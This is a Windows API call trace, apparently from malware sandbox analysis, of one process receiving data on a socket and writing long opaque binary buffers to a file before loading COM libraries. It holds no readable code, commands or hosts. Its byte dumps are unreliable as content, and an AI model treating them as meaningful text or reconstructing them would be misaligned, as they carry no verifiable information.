09:13:22,907	972	NtWriteFile	Buffer => "\xe8\xde\xa7+\xb8 \x1d\x83\xb7\x14u\xd4\x83\xf7\xb0\xe3\x83\x82\xcf\x14\xf0\xc1\xf2R\xf5\xb8\xf8!*\x12I\x00\xf66\xff\xf2\x119\xc0\x9b\x97\xdbv\xa2l\x827\xa3\xab3\xac\x13U|vc;7\xa3uv\xf5o\xca\x97\x06v\x1fl(\xf5\xb1_\xabJ\xb7\xcc\x0b|\xaa\x08dk\x89\xe9\xd3\x03]o\x90\xbeQ\xeb/Z\xa4`S\xeb/\xa5\xed\xa0\xb2\xaa\x1bQ\x1eIJ\xe5\xc1\xac\xe5\x80\x18\x0ba\xb02%\xb8xf\xcf\xe6\x97\x0ex\x8dX\x14a\xd7\xb9Q\x89\xd63\x91\xba=\xef\x93r.p\xdb7N\xf2t\x9a\xa8c\x01\x1b\x9a\x95|\x01\x8c\x88\xb1\x9e\xa4\xe5'\x0f]R ^\x9a*\x8dQ\x7f_\x036{\x88\x08\xf1\xeb=\xc9\xb7\x1fnhNq\x14\x8c\xff\x0b\xc6X d+'\x12]0\xf9&\xf8\xdcC;\xdb[M\xc9\xaa\x86\x8el\xd7\xba\xdd\xc6\x10G4!w\x16\x89\x9cVHMk\x98\x91@\xbeV\x99N\x08L\x02\xf1\xdf$\xdb\x13\xd4\x7f\x84 FileHandle => 0x0000022c	SUCCESS	0x00000000
09:13:25,751	972	WSARecv	socket => 0x00000224	SUCCESS	0x00000000
09:13:25,751	972	NtWriteFile	Buffer => \xa1\xbeCO\x8f\x89U7\x95\xcf \xae\xa0\x1b\x18\xc1\xa4mhf\xb2 \xe82\xa0\x93x[\xb8m kS\xcfu\x94\xde&\xa1\xa1wf\xf8B\x17\xaa\xdf\xc7\x88\x85\xe2\x96\xc3"IWW\xea\xc4\x0c&x\xb9{eU5\xd6\xb1\x9d\xa4\xe3e\x1bl@\xe9|\x0c\xb4\x0e\xd0\xa8\xa0\xa5\xea\xc5\x1b\xfc(\xc2\xc8\x15-4 mM\xcb\xa4\x0e2SQt\xc5\xa4\x02J\xc3\x9c'\x04S\xc4I\xc0\xbaw\xf2\x04\xbdg9I\x0b\x84p~\xe3\x86B/.\x92l\xe6\xf6\xfb<\x8d/\xa6(\xd0N\x83\xb8&u\x86;\x8c\xfe:\xa9td\x7f\x00\x0e\x82\xfdf\xc7\xa97\x1f\xd5\x0bn\xe6\x18\xc9&\x92QZH\xb2\x0c\x95\xe2\x1a\xde\x90\x98\xce\x94\x87*TF\x12h\xbfRT \xe2\xa2\xe5\xc8\xc7?\x12\x1b\xb6Z\xd4\xe2m;&p\xbf=jV\xfc\xb8U\xaf2\xbe\xcb\x7fk\xabRL\x91\xd8H\xfc\x86V"G\xed\xfa\xbd\xac\xb5[)\x04\x04Ku)\xd55s\x88& FileHandle => 0x0000022c	SUCCESS	0x00000000
09:13:25,751	972	WSARecv	socket => 0x00000224	SUCCESS	0x00000000
09:13:25,751	972	NtWriteFile	Buffer => \xb0\xeaX\xee\xfde\x9b\x9a\x0bU6?\xa2\xb1u\xe4\xcb\x85\xd4x\xcb5\xc5DW\x95\xb6'n3RU\xb1\xbe+\xbe \x98\xba\x19\x9a\xd2r*\xaa\x03e\x83 ~\x1d\xaa\xe8tf\xa0\x8b\x0f\xac`\x06a\xb5\x14D\xf1\xb9z\xe9\x17\xfbw\xc6\xa6 \x8bSC|Wt8\x99\xe7\xee\x96fF\xc1\xdd\x06\x95\xa3\x9f\xe8\xc31\x9fy\xa9]\xa4#\x07\x0f\xe3\xcdW\x08\x85\xd63\x00\x0b?*Gm\x1c\xd5\xf9")\xb2\xf8{\xc4C=yj\xd4\x81\x85 FileHandle => 0x0000022c	SUCCESS	0x00000000
09:13:26,462	972	WSARecv	socket => 0x00000224	SUCCESS	0x00000000
09:13:26,462	972	NtWriteFile	Buffer => _\xb8:\xce\xa7#\xa3C\xfeMB\xb2.d\xf9F\xd8\x01\xbd\xaa\xd6\xf3B\x8di\xfc\x02\xeb\xcfP\xb2\x10o\x86\xe4\xf0\xd2\xc7\xe5\x08\xe3\xee,\xf8\xd6\x80\x1b\xbd~\x8f\xc1\xf7t5\x851\x97\x1a\x98y\xdb\xa6\x0e\xd0\xebs4\x0c\x81m\xbb\xd7\xd8\xb8I\xb9\x9c$\x8b\xf9D\x0be\xd1\x1d\xe3\xd8}\xff\xac!\xe6\xa1\x89\x04\xb2/9\x0b\x86(.\xbe\x1d e(M\x91\xabAi\x9e\x17\xe7{\xb1M~\x97\x19\x14e\xf4\xb7b\xecN\xaf<\xe5\xd8\xce\x98\xb0\xf2~\xb9\xd3\xe9\xdb\x85\xa8\x02x\x06\xa6\x12\x7f\xdd\xc6\x99\xdd\xbc \xd3\xaf\xf3(\x1dv\xc2\x83\x7f\x0e4Mta\x153o\xe0\xe4\x0e\xc9\xf9\xae\xf8\x02f\x81\xf1 !\xc5\xc0\xe1\xffI\xba\xba\xcakS\x1d:\xce\x04\x86\xc6x\xc8I| {n\x08"\xfc?\xc7\x1e\xb9u\x0b\xaa8\x95\x05\x8d;\xea\xd5 K\xe6\x8f\xda\x1e\xe2\x12\xef\xde\x93\xd7i\x8a\xf4"\xcd\x1bI`\xe4\x17k=\xa0\xe8\xdc\xda\xe3\xbd\xd1 FileHandle => 0x0000022c	SUCCESS	0x00000000
09:13:26,462	972	WSARecv	socket => 0x00000224	SUCCESS	0x00000000
09:13:26,472	972	NtWriteFile	Buffer => \x0fv-c\xf5u\xf2v\xb4\xb8N\xe1\x18\x05\xf4\x0eV\x8d].\xb8UY\xa0\x14\x7fe'\xa0\xd5\xa3\xfe\xfa\x04\xcaA\x130\x9c7\xc0U0%\xdc<r\xaf\x94\xee\x16\xc9\xa9[\xac\x9bu\xa2\x9d\xca\xd4uG\xf8\xf0\xf1\x11\x82\xdb\x01\xfa\xc3\xcfy\xff\xe9Kf \xf09B\xed\xd5\xe9\x11\x88\xaf\xb6\x18\xf3\xaf2\xc8\x9b\xffUw\x96|\x81\x1c\x8f)yr\x9fY`&"\x96\xc2\xc3J\xa6T\xbe\xbf\x18\xc2N\xe1\xdc\x1b<\xd3HF\xbf+\xeb\xf0I\x97\x8e"3\xc8\x00/\xa0\xd5\x96\x84\xdb\xad A\xf5o\xe5\x01\x15\x05\x96\xfb\x0f\xabCL\xab\xb5\x11\xa9\xd5\x13f\xc9\xd6\xb5\x97\x00\xc6N\x7f\xe3\xdco \xc8W|\xd0\xb9:#\x99\xe4t\xd6\x93\x18\x1e\xcb\xe8!\xcf\xa0,\xaa\xf9\x0fp;\xdc\xfd\xc8\xcf\xe7\x99HeUh\xd160C}\xf5+\xa6\xdf\x99\xb0\xc6u\xb1\xc5`s\xf0\xbf\xb9\x9d\xa5vu\xc5\x1a|\xe9 \xf0\x94\x8bQ\xa4\x8e\x1c\xcf\xb7\xb4\x95} FileHandle => 0x0000022c	SUCCESS	0x00000000
09:13:27,113	972	WSARecv	socket => 0x00000224	SUCCESS	0x00000000
09:13:27,113	972	NtWriteFile	Buffer => \xedR\x83e\x8c\xf4\x11\xe8\xf6 \x1a\x98|\x0bK~\x9dq\x8d\x8a\xc3\xfel\x92\x9f\x8d\xaf?\xf4\xa7h\x87\x9e\x0fgY\xe3\x81\xe9\x19\x1c\xb9\xfd\xf4\xad5X\xe5i\xafJ\x04\xec\x08Rx\xce\xa6\xc5\x0f\xe2f){E\xc2\xd6}\x17\xe8\x96\x9b^f\x9c\xf0f\x9b\xe4\x95M F\x01u\xcf,L\x14\x84\x9b\xdf\x07\x8e\xaf\xfe\x88z\xc1\xef\x9d\xe9\x02\xa7\xafD\x15\x0b9\xef\x07\xd9Zk\x89\xa5\x10\xc6=\xa6>\xb9:\xd1\xdd\x856e\xf0D\x10\xaf\xf8\x91T\x17LG\xff{\xdd\x9a\xe7CL\xa3\xe2a\\x82\xf2\x95\x99\xd5\xca\xac\x8a\xf4s5_\xa8\x17G\x8e2\xc0\xc8\x8e\x80\xda2\xbe\x0c\x7f\xca4\xf7"xy\x0eE\xd1\x86\x082\xa0\xf6d\xe0')\xca\xd32a\xbeA\x00\xa0\x03@\x13Y'\x80#E,\xcbz\xec\xe2\xc7\x9e\x87\xd2\x16\xa2\xcd\xb1|\xa4\x87\xda\x1d\xe7\x08\x12\xb4\xca\xb8\x17\x9a"0\xe5\x88\x91\x17H\xd1\xf1L\xe8\xfd\xa3\xbf\xd6.}\x9b\xde\xe3\xfe FileHandle => 0x0000022c	SUCCESS	0x00000000
09:13:27,714	972	WSARecv	socket => 0x00000224	SUCCESS	0x00000000
09:13:27,714	972	NtWriteFile	Buffer => \xe2\x11?U\ \x0e=\x80\xf1\x8fL\x8aA\xd7\x89\x02z\\x97\x83\xca\x1d\xa6\x1aa\xf1+\x86{IT\x99\x8e\xcc\xcb7\xf6\x94\xa5,1\x07\x9fL\x02\x91\x85nb\x81\x9b\xd1\xccNX\xaf\xc6\xbe\x0b\x02%\x83\xdb~Tq\x9c&\x08\x01\xc2+\xbf8\x8b\xacQ\x15!T\xa2\xa2\x84\x1b`\x1c\xd0\x0f\x18\x7fR\xb1\xa1E\x9b-\x148\xf06rEg\x99H\xda<\x04N[\xed\xc4\xf9\x0b\x13\x8d \xf8L\xdf\xe1S\xf7\xe873\x89W\xb5F\xd2\xb6E!i,\x86\xa6Z%m\x93\xf7\xc2\x16_\x18\xb5#!0f\x10\xd0|\x06\x95M)\xc4}\x90,\xe5d\x1f\x83\xbd\x13\xf8[$?I\xe6Y\x92\x97\x80\x88\xed\xdd&\xd1\xae\xe7+:z\xe8%\xf4\x10\xa0[\xectS\x05\xa0S\x03$\x16l\x18\xbaf%sa\x8d\xd0)g\xdd>\x8evQ \xde1\xbf\x82\x18\xef\x10\xb8\x0b\xb5\xa8\xbd\x04\xb6\x03>#\xa5\xaf\xa5;\xf6\x19\x90\x0f|\xa9\xd1\xea\x0fJ\xafy\xcf FileHandle => 0x0000022c	SUCCESS	0x00000000
09:13:28,084	972	WSARecv	socket => 0x00000224	SUCCESS	0x00000000
09:13:28,084	972	NtWriteFile	Buffer => \x95\xfb\xed\x8a\xb4W\x1a#\xbd\\x83\xa00J\xcc\xac\x83\x7fr\x9c\xf7Qj\x83(\xac\xbc\x14\x18wD\x05<\x1f\xfbu\x159>\xceKJ _\xb7\xae.\x0fX\x817|Ubf6\x89}\xdaE\xdf\xdb=\xaf\x9f\x90\x1b\xec*\xc8$b\xc8<e+\x88\xcdti\x8b\xca\xdc\xf3\x8f\xf7\xa6\xb1\xe2\xf6\x06U\x87\xa4`\xa6~\xb2\x1dDi\x03n3\x9e`\xf4\x17\x01\xe3\x0c0\xd5\xd4\x8f\xaf\xadk\x08o\x94\xf5\xa3\xbe\xa6\xf9\xd8\xf2\xa8\x9a }t<O\x9a\xb9\xf1_ \x03\x02Aec \xa8\xbf-I|\x03\xd7\xc9\x02-\xad\x1f@m\xdf\x7f\x87\xa5\xe11\xb0\x0b\xbcw\xc1cn`uB\xc3\xf1\xaf\xdc\xb7\xb1\xfb\xe4\xc6\x89E\xf8)\x0e9ka\x14\x1a\x0c\x9b\x08v\xf0\xf6\xa6U\x98\xe6A\xf2\xb5\xdc\xb5'\xea]\xb1\x93#\xc3\xfe\xb8j\x91<\xf0\x88\xa0\xac\xf3\xe3s\xfa\x0cV\x1e%\x82\xea\xa5\xebz\xfa\x92g7\xe7\xed\xbe\xb2\x90\xd1i\xf2\x1c\x03l\x1ee FileHandle => 0x0000022c	SUCCESS	0x00000000
09:13:28,715	972	WSARecv	socket => 0x00000224	SUCCESS	0x00000000
09:13:28,715	972	NtWriteFile	Buffer => V\x9e\x93\xa2w~h\xf1\x12KI\x01s\xa1\xd8B\x16\xc2\xa5pVU\xfe%\x17\xb7|\x10\x88Q\xff,\x12\xd8<Z\xe4\xc6+OB\xfe@\xf8\xff\xe7J\xf4\xe5\xc6\xab\xb5\xa9\xb6\x87\xb7\xd5\xb1\xe0\xef\xe3k\xbe\xf1\x9bW\xfa!H\x86\xc6M\xd3\xd91dN\x9c\x98\x8b\x97\xeb(\xf4\x95\x9b\xb5\x1d\xd1\xff\xbc\xc6S=\xf7\xf2^/5\x97 Y\x94\x91\xf8\x1eT\x9d\xa9\x18\x8b\xb8x\x1e\xc5j\xf1q\x04(\xf8\xc5\x07\xf4F\x86F\x89\xeePHX@\x83tr7\xc6\xfcr\xd3I\x0f\x1a\x802D\x1ci\x05\xfd\xc1\xf7<\x7f\xd1\xecR\xff\x9b\x86V\x7f\x126*W\xb0\xb2j\xef\xb6\xa7{W\xe2\x16W\xc1D\xe3\x1f\x95G\x99*J.Z\xe2\xfe\x95\xfd\xa9J\xb6H\x96\x7fg\xc4\xc4\x84s<;=]/\x8cCU\xfd2)P@\xa3h|.F\xb3V\x91\xe3\x14\xe6 +]\xc4Bl\x8dq\xafO'g\x8a\xed\xf6 \x88\x12\x07N\x884\x89\x15\x0fc7\xf8 FileHandle => 0x0000022c	SUCCESS	0x00000000
09:13:29,176	972	WSARecv	socket => 0x00000224	SUCCESS	0x00000000
09:13:29,176	972	NtWriteFile	Buffer => H`\xb6U\xf2@_@)\xfc\xbc\x16\x02D\x19Etj<\x92% \xb7\xaf\k1\xca\xd0'\xa1\xab\xf8\x92|\x16\x9d\xfe\xfcg!q\xae?\xa2\xa1_?\xa6Ld\xfbH\xf5\x9d.\xa9u\xd4\xf7\xda5\x04\xf7\x97\xc8\xc6!F\xb2\xc5r\xd2Gy\xce\xf8dfU?\xa2\xc0vN\xcf\xaa{\x92\x9b<\xe0\x90\x10\x94b\xb3\x08\x11\x9e+s|Yh\x8fQA\xf4'1a!b\xa3\x9cNt\xb0\xad\xba\xc7\x97\x98\xd2\xbfm\x03L\xb0\xed\xab'r\x99\xc8\x92\x94zD\xe5\x01,{\xf9\x1b\xe7\xcaTe\x87z\xa7\xc4N\xf2\x96%{\xb9g!\xf8A\xff\xb6qM,\x9e\xe0U\xf2\x842\x0bQ\xfc\x90\x93\x89\xdb\xe0\x89\xf6\xe4\xf1\xecwe\x8c\xc4\xe3!\xfau\x97N\x9ec\xcd}\x88K\xd1\xdc\xb2g\x1e\x8b,\x96\x04k\x1a@\x97 \xdcjjW\xa3\x91H$1\xcf,[4\x07^\xcd:m\x1c\x17{g\xc8&\xaa\xeb\x00\x1e\x1c?\xa8\x87\xfd]/\xa0\x8a\x9b FileHandle => 0x0000022c	SUCCESS	0x00000000
09:13:29,176	972	WSARecv	socket => 0x00000224	SUCCESS	0x00000000
09:13:29,176	972	NtWriteFile	Buffer => \x84#uU? B,\x16U\x9a\x91\xbdJ\x19\xa4\xfb\xeegr\xfc\x17C\x1ae\xb4h\x95\x03(\xfe\xa7NK\x94+\xcb\xd1\x85l\xb6B\xaf\x01\x08\x87|\x87\xdd\xc2\xa8\xc7\x0c;\x06\xeb\xdf\x97\x0f\xde\x81\x84\xe2\x81\xde:\x87\x07\xe2\xd38\xd5\xeaJel\x94Li\x0fZ\xc9\xa9\xc8\xe1v\x1c\xd0515]\x99/\x1fg\xd9\xd0B(\x9c\xfe6\xa5NV\x1a8O\xd3\x96\x8f\xb43\xb2u\x15\x80\xc0|'\x96\x83s\xd16\x05\xed\xca\\x8d{U"\xf2D\xcaS\xf8\x81\xbd\xc7Th\x16\x0fjX;aH^\xc6\xb4\xf6\xb9\xb9\xaf\x0e\xd3f,\xb3\xc5mq2\xe6]I\x96\xc5\x9e\x94.\x8b+--=\x1c\xd9\xe7\xcf;_T+MQKR\xeaH\x0c\xff<\xff\xe2\x95\x00\x12\x16\x00\\xcbU\xabH]\x16\xb1@\xc2\x1e\x08\xe8\xf2\xe5\x93\x14\x86\x0e\x05]\xfe\x80\xda:\xe5f\x0fS\xec\x88\x19'\xc2\x85\xba>\xc0SG0+\xb8\xa8\x11\xe5Sq\x7f\xbd\xc2\x98 FileHandle => 0x0000022c	SUCCESS	0x00000000
09:13:30,117	972	WSARecv	socket => 0x00000224	SUCCESS	0x00000000
09:13:30,117	972	NtWriteFile	Buffer => vV\x95\xa0\x9a[\xc7 \xcb/\xb7\xc9|\xf9\xe5T \xf4\x04\xe2\x8e4\xd7\xb8\xfb]X \xb3C\xcc\xe7\x06\xd4\x96\xfc\xb5\x92\x0c \xd1\x13\x7f\x07'\x80\xb9\xcc7\xadk\x0b\xab\xc1w\xe0\x81\xf0=\xcddg\xe0\xd0\x13n\xee'\xda"fGj\xbb\x8e14\xa4\xb6\x87\xb6bN\x10\x82"6\xd1\xfd\x95\xfe\xeaA{\xdav{\xd9\xf8\x97hC\xf9\x16v\x80\x82\xd6\xf5\x16]\xefc?X\x9d\xf0\x07\xf0^\xceCG\x04\xdf!\xa3\xf1\xc6\xd1_\x19\xf0di;\xbfk\x0c\xbd\xbe\x1a\xac\xc0j\xec=\x10\xcf!\xe5w\x88\xedC\x96\xdf\xca7\x97\x9a>\xc7\xb8s\x91\xea^6^t\xc0\x8e\xec\xe2h\x05\x85\x03,\xf6\x82K\x81\xa7\xb0\xc9\x1f\xc7\x1dK&\xd8\xd5`\x1a7<~\x99\xa9\xca;'\x10\x1b\xdc\xe8\x13\xf1\xbe\xc3sE\xde\xa1Gf\xb8E\xdb1\x97=\x1d\x1e\xff`\xdd\x86\x80\x04\x83\x1fBgJ\x822F\xf9\xf1\x1b \xfbp\xf2.d\xbfk\x8eM\x01\xa9? FileHandle => 0x0000022c	SUCCESS	0x00000000
09:13:30,268	972	WSARecv	socket => 0x00000224	SUCCESS	0x00000000
09:13:30,278	972	NtWriteFile	Buffer => \xd5M\x06.]\xdd\x81\x86\xa7\xa4\x02\xa4W\x14\xdc\x11Y\xbc\x9b\xa4\xf3\x06H\xddG\x06$y\x0f\xf5PON\xffL3\x99\xe84\xf8\xedL!\xc5\x885\xf0\xcd@\x86\x9c\xaa\xbe\xcd3CM~\x94%\xf1\x8e\x93\xb8F\xb7\xad\xc2\x97\xca\xb1\xfd\xf1\x01\xdcv\x84cQp~xR\xf6:\x0f\xbc\xe2*F(nZ<\xaf\xafQ\xe9\x04tnU10I\xea\x1d\x93\xc4|\x03\x91vOKG\x0b\xbd\xa6\xe6\xc8L\xbe\xf5K\xac\\x14J\xee\xcd\xfb\xcf\x08\x80\x8dIJ}i~e\x07\xc5\xf4j\xaf\xb2\x94\xa6V\xbb[\x9ev\xab\xec\xf8S\x14\x92[\xa1o\x8d\xe9\x03\xc9p\xdaI \xee\xa6qR \x0c\x15Gt\xda\x84\xffl\x86%-\x9c\xe2\xd5\x99Y\xc4\xb5&+F\xa0\x01\xd0\x01\xab\xef\xac\xda\xbe\x844\x0c\x1eqw\xe3 \xca\x94k\x98B\xd5fS\x8a\xd5\x8f{]\xf7.\xe7\x0576 mY\xb5\x99\x16\xe6\xa5\xca\xd7Ai\xec\xb3B<\x82\x11\x95'\xcfe FileHandle => 0x0000022c	SUCCESS	0x00000000
09:13:30,718	972	WSARecv	socket => 0x00000224	SUCCESS	0x00000000
09:13:30,718	972	NtWriteFile	Buffer => \xaf\xe6\xb3j\xf9\xbfS\xa0\xd4 ]\xb0[A\xf8\xbcrC>\xaa\x9c\x08\xcd \x01\x18\xebkg#\xf5_\xd6P]H/[,\xaft+\x08\xe7\xe6\xf7W7\xea\xa8\x88E?\xddi\x85\xd4\xec\xf7\xeb\xf6\xd2B~\xb8\xb8\x8f\xb9\x8c\xd4m\xe5\xeb\x14\xa9S\xa8V\x94)\xd6\x03%BDY\xa1\x1d\xc2e\xe6\xc5\xe87| 3h\x9b\x9b\xc3\xad\x02\xfadx\xfc\xcc8}VJ\xd2\xe0V.\xc2\xc1\xf3\xc4\xc9\xefGx%\x0cD\xee\x82\xf8\xb7\xea\xf0\x1e\x99~\x12D\xb0\xcb\x05L\x8b \x0c\x97\x93\xb7<\xda\x07\x1aB\xd2>F\xe4\xe9\x87d\x1b\x1c>\xc2$\xb3Im\xf3\xa4s\xaf\xb5+;\x80f\xdaKo\x9e\xc8\xba\xb5\x84Y\xaa\x8b\xe3w\xdb0\x1f\xcf\xc7\xbc==g/\xf4b\xc1\xd6!\xc40\x9d\xbe\xe77eeJ\xb5]\xe5\xb8\xba\FH\x98R\xfep\xbc\x07\xfc1\xba\xbb[\x97\x98\xd0\xf8\x95\xf8\xe8X\xef)\xcf\xe3jM\xa1\xa2\xa7\xaeN\xd7UR[ FileHandle => 0x0000022c	SUCCESS	0x00000000
09:13:31,049	972	WSARecv	socket => 0x00000224	SUCCESS	0x00000000
09:13:31,049	972	NtWriteFile	Buffer => #\x00\x8c\xfa\x15\xe8\\x84\xc7\xefI\xfeF\xf3\xb6\x00\x12\xe7\x8aGPB\xaa\x06>n\x02\x11jT\x8c\xf2#%\xdc\xc1\x1a\xb8`\xccg\x95f\xf4\x8a";\x12\x17\xd8\x04qbg\xee\x01\xf0\x1f\x8b\x15\x860Xn\x89\x99\xc7\x7f\xbd\xe5\x03\xbd3J6:\xbd\xdb\xad\xe3\xb4L\x89\x19R\xe3\x08B\x89\x0b\x95\xad\xa2\xae\xf8\x8a\xc3\x11\xe5O\xacnrb_\x88\x97\xbb\xe8\xcd8\xef\xdb X\xfd\x0c\xca\xd63\xc3\xb7HW8\xa3!\x03\xdaF\x81\xeb\x0eK\xce\xdfe\xcf#Z\x19\x16\xa4O\xb3\x9b\xb5\x1a\xa3\xc8m{\x7f\xbb\xbdm"\xea\xd3ke\xd8H`\xc9\xbe\xd7\x8c\xba\x16\xa37\x1aQ\xac\x06Vp\xd0\x8bY\xf3\xb6\x07\x14\xdf\xab\x9d\x95\xf2\xba\xf0{\xfb\xd0ov\xf6\xdd<\xef\xf0\x8e\x86\x0b\xdf\xf9\x018\x1cq\xbaI\xa2\xf0\xce\xf4~u\xfdY\E\x93\xa0\x03}O4\xebD\xc0\x98;h\x11kp\x85]N\x84\x044\x9e\x06\xcb|Xp\x117t\xf3/\xbc FileHandle => 0x0000022c	SUCCESS	0x00000000
09:13:31,049	972	WSARecv	socket => 0x00000224	SUCCESS	0x00000000
09:13:31,049	972	NtWriteFile	Buffer => x7\xa6\xd2\xe7\xee\x94\x8dR\xb1s\x08\xdd1\x07b\xc2n7+\x17\xcc\xb9\x0b\x04\xffh [0X\x88z\xa5\x96R?ly\xe7\xa5\xfc0/gA\xde\xd1-\xe6%2\xe69[R\xd6\x17\xfef&\x043aa\xdb\x17\xe111<?T\xbbI\xae\x83\x83\xeb\xeb{\xf1<aF\x80:&\xd6\x94\xcb\x91);\xe1\x91\x85\xeb/y\x10\xac \xda\x96s|:\xfd>\xe0\xdb\x87O\xdd\x93\xdc\xedD\x8c\xf6\xb2\x7f\x1e4\xf5t\x9f\xb2\xdf\xbf\xf3\xf1F FileHandle => 0x0000022c	SUCCESS	0x00000000
09:13:31,620	972	WSARecv	socket => 0x00000224	SUCCESS	0x00000000
09:13:31,620	972	NtWriteFile	Buffer => +"j3\x06Q\xdd\xc0\xa1\x8d\xc1i\x03\xbbc\x1b\x0e\xb9\xe0\xf8\x19\xd4\xd7\xef%(b\xe1\xad \xaf\x91\xc5\xbb\xb7)\x03\x9aE?\xc1\xd2-*\xdd\x02c\xb5U\xe7\x97)\xee\xc9\xabu Fq\xf8\xf2H\xb1J \x9d\xe8d\xe4y;yQ\x84*m\x10g\x18\xa5\x95\xf1\xa1s\xa9\x89\x17\xac\xda&\xaf\x14\xdc\xcc\xfb\xd4\x99\x0b\xfev.\xdf\x0b\x8f\x12\x93\x8c\xc2\xdea\xf8\xd9R\xc65\x1eq\x13L\xbe\xb9!.\xa4 Z\xb0\xd1\xf9\x97\x03\x87q\x8d%\x1eM4\x98B\xcaaU \x84\x17\xbc\xb8\x15fs\xbf:\xc5\xdfZ@\xe9p\x7fd,\xa7\x02&\xd7\xb5\xd7+0\xd6u\x11\xa2|\x1b\x17Op\xaf\xd0\x07o\xc2&\x87\xa3\x9b\xa79g0\xcd; *\xf7\x0f\x1f\xd1O\x0b\xd87@\x8b\x8c=4\xec\x8f \x8d!\x81y)1\xa3'\xad\x14C\x14 \x9f\xfd\xc6"\xb3b\xef\x19\x88\xb5\x83Q\x1a\x1b\xfbE\x1a\x9d\x99\xaeY\x99\x83\x9a\xfa\xbc)\xcf\x01\xfa6 FileHandle => 0x0000022c	SUCCESS	0x00000000
09:13:32,040	972	WSARecv	socket => 0x00000224	SUCCESS	0x00000000
09:13:32,040	972	NtWriteFile	Buffer => \xe8\x8d\xadlV\xa6)}\xd9\xd44\x81\x03\xf5\xae\x17\xe8\xd3k\x9e\xf0c\xe3\xc0\xfd\x08\xf4\x13\xb1zi\xd9\xec\xab\x8a\x1f\xd3\x9eE\x89V\xf9\xdc\xba\x05e\xe3\x13\xb1\xf5 \xd0\\x83\x02\xdf\x97t"0\xa4Y\xe9\x05\xc8\xb0\xdd\xe8$\x08|\x8d\xf8\x96\xec|*r\xe7P\x94,\xfe\xf8\xcbXD\x0f\xe6e-Z\xc5\x02d\xc2 9V\xa4\xd6\x7f\x02:\x9c\xc9\x7f\x9d%\xffc\xd8\xaeM\x1b\xc8\xcd\xde\xab.z\xfc[\xaa\x0cE\\xce\x02 f:u3b\x7ff\x04\xe1\xdc\xf0\x85%|\xf0m\xb9\x94\xb9\xf7\x97+;\xc7\x8a\x04um\xfbw\x9f\xb6\x7fA\xaf\x0cIJ\x1a\xdc \x80 `@|\xa9\xa8L\x04\x10\x97\xbd\x88qN8\xa5\x16!\xe4%`\xedM\xa2\xe0Cm\xac\x13\x1f\xd5=%\xe4\xc2\x80a\xa4\xdd\xccPB\xcfv$\x01\x897(\x8d\xa4\xd5\xa3\x18\xdf}\x02'G\x1d\x1e>t\xec\xa7I\xea\x86\x06Ug\xba\xf0S\xa2\xc9oE\xf1\xef\xbcA" FileHandle => 0x0000022c	SUCCESS	0x00000000
09:13:32,371	972	WSARecv	socket => 0x00000224	SUCCESS	0x00000000
09:13:32,371	972	setsockopt	socket => 0x00000224 level => 65535 optname => 128 optval => \x00\x00\x00\x00	SUCCESS	0x00000000
09:13:32,371	972	closesocket	socket => 0x00000224	SUCCESS	0x00000000
09:13:32,371	972	NtWriteFile	Buffer => \xc0)\xe9@;[\x0e\xe7arl\xa7\xb7\x0b\x0b\xb2Y\x0e\x1b\xcd\xbfu+\xa4\xcd{\x18\xed\xc4\xdd\xf6X\xb1\\xd0\x07\xa2=\xbc\xac;G\xc1.++~F\xfa\x90ys\x16\xb5\x1f.\xfa$ \xae\xf1@\xcf\xa5D\xa5\xda\x95\xd2`2\xc0\x8d\xac\xf5 \x0c\xe4fz\xc3\xcb\xa5\x89\xc3W z[\xff\xb0\x05W\xd2\xf8{\xd2\xa9\x04\xd7_\xb6$\xb1\xd6\x89W\xc3r\xd5\xebd\xa2\xa2a\xfa\xb0\xb9\x892'\xea\xa2?\x115\x05\xf7\xdd\xad\xef\\x07\xd6yn\x1bP\x82\xa4\x17\xa4\xd9\xe8\xff\xbe2\x05\x8b\x19\xadDfRD\xb8>\xae\xab\xba\xcb\xcez\xf86\x84\xb8\x9d\xcd\xfc\x12o\xe9!\xb31,+\xa6\xc5A\xfa:|\x1e\x18\xbc\x8b\x9a\x97\x12\xac \xc3\xd8\x19|\x845\xb5\xa8\xee\xc6a\xb7\x81_\x96\xcb\x01\x98\xa2%\x03\xaaq\xd7\xc4\xab\xb7[\xafv\xf6\xac\x95%^\x11S\xb8)\xed%\x10\x86;\xa8:/\x87\x1fc_\x17\xf1W-\xb5\xf2\x0c\\xfd\x8ey\xde FileHandle => 0x0000022c	SUCCESS	0x00000000
09:13:32,381	972	NtQueryInformationFile	FileHandle => 0x0000022c FileInformation => \xb0B\xc1\x91 \x92\xcf\x01\xb0B\xc1\x91 \x92\xcf\x01\xb0B\xc1\x91 \x92\xcf\x01\xb0B\xc1\x91 \x92\xcf\x01 \x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:13:32,381	972	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000	1 time
09:13:32,401	972	NtFreeVirtualMemory	FreeType => 0x00008000 ProcessHandle => 0xffffffff RegionSize => 0x0036f000 BaseAddress => 0x01b10000	SUCCESS	0x00000000
09:13:32,411	972	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x00013000 BaseAddress => 0x01a1c000	SUCCESS	0x00000000
09:13:32,411	972	LdrGetDllHandle	ModuleHandle => 0x774e0000 FileName => ole32.dll	SUCCESS	0x00000000
09:13:32,411	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => CoCreateInstanceEx FunctionAddress => 0x77500526 ModuleHandle => 0x774e0000	SUCCESS	0x00000000
09:13:32,411	972	LdrLoadDll	Flags => 522604 BaseAddress => 0x77120000 FileName => oleaut32.dll	SUCCESS	0x00000000
09:13:32,421	972	LdrLoadDll	Flags => 522188 BaseAddress => 0x77120000 FileName => OLEAUT32.dll	SUCCESS	0x00000000
09:13:32,421	972	LdrGetProcedureAddress	Ordinal => 147 FunctionName => FunctionAddress => 0x77126aa6 ModuleHandle => 0x77120000	SUCCESS	0x00000000
09:13:32,421	972	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x0000d000 BaseAddress => 0x00119000	SUCCESS	0x00000000
09:13:32,431	972	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x0001a000 BaseAddress => 0x00126000	SUCCESS	0x00000000
09:13:32,431	972	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x00021000 BaseAddress => 0x01b11000	SUCCESS	0x00000000
